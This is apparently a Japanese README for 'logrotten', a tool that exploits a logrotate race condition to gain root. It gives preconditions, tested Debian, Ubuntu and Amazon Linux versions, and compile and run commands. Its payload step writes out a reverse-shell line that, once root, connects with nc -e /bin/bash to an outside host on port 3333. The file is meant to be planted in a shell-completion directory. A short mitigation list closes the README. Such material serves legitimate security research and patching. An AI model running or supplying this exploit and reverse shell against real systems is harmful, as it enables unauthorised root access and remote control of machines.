[!WARNING]
このリポジトリは https://codeberg.org/whotwagner/logrotten に移動しました。最新の更新については、新しい場所をご覧ください。
logrotate のレースコンディションを利用した権限昇格

簡単な説明
- logrotate はログファイルのリネーム後にレースコンディションが発生しやすい。
- logrotate が root として実行され、(create、copy、compress など)ファイルを作成するオプションが設定され、ユーザーがログファイルのパスを制御できる場合、レースコンディションを悪用して任意のディレクトリにファイルを書き込むことが可能。
- 攻撃者は "/etc/bash_completition.d/" などのディレクトリにリバースシェルを書き込むことで権限を昇格できる可能性がある。
権限昇格の前提条件
- Logrotate が root として実行されている
- ログパスが攻撃者の制御下にある
- logrotate の設定でファイルを作成するオプションが設定されている
テスト済みバージョン
- Debian GNU/Linux 11 (bullseye)
- Debian GNU/Linux 9.5 (stretch)
- Amazon Linux 2 AMI (HVM)
- Ubuntu 18.04.1
- logrotate 3.8.6
- logrotate 3.11.0
- logrotate 3.15.0
- logrotate 3.18.0
コンパイル
- gcc -o logrotten logrotten.c
ペイロードの準備
echo "if [ `id -u` -eq 0 ]; then (/bin/nc -e /bin/bash myhost 3333 &); fi" > payloadfile
エクスプロイトの実行
logrotate.cfg で "create" オプションが設定されている場合:
./logrotten -p ./payloadfile /tmp/log/pwnme.log
logrotate.cfg で "compress" オプションが設定されている場合:
./logrotten -p ./payloadfile -c -s 4 /tmp/log/pwnme.log
既知の問題
- docker コンテナや lvm2 ボリューム内でレースに勝利するのは困難でした。このバージョンの logrotten は信頼性を向上させています。
緩和策
- ログパスが root によって所有されていることを確認する
- logrotate.cfg で "su" オプションを使用する
- selinux または apparmor を使用する
著者
参考文献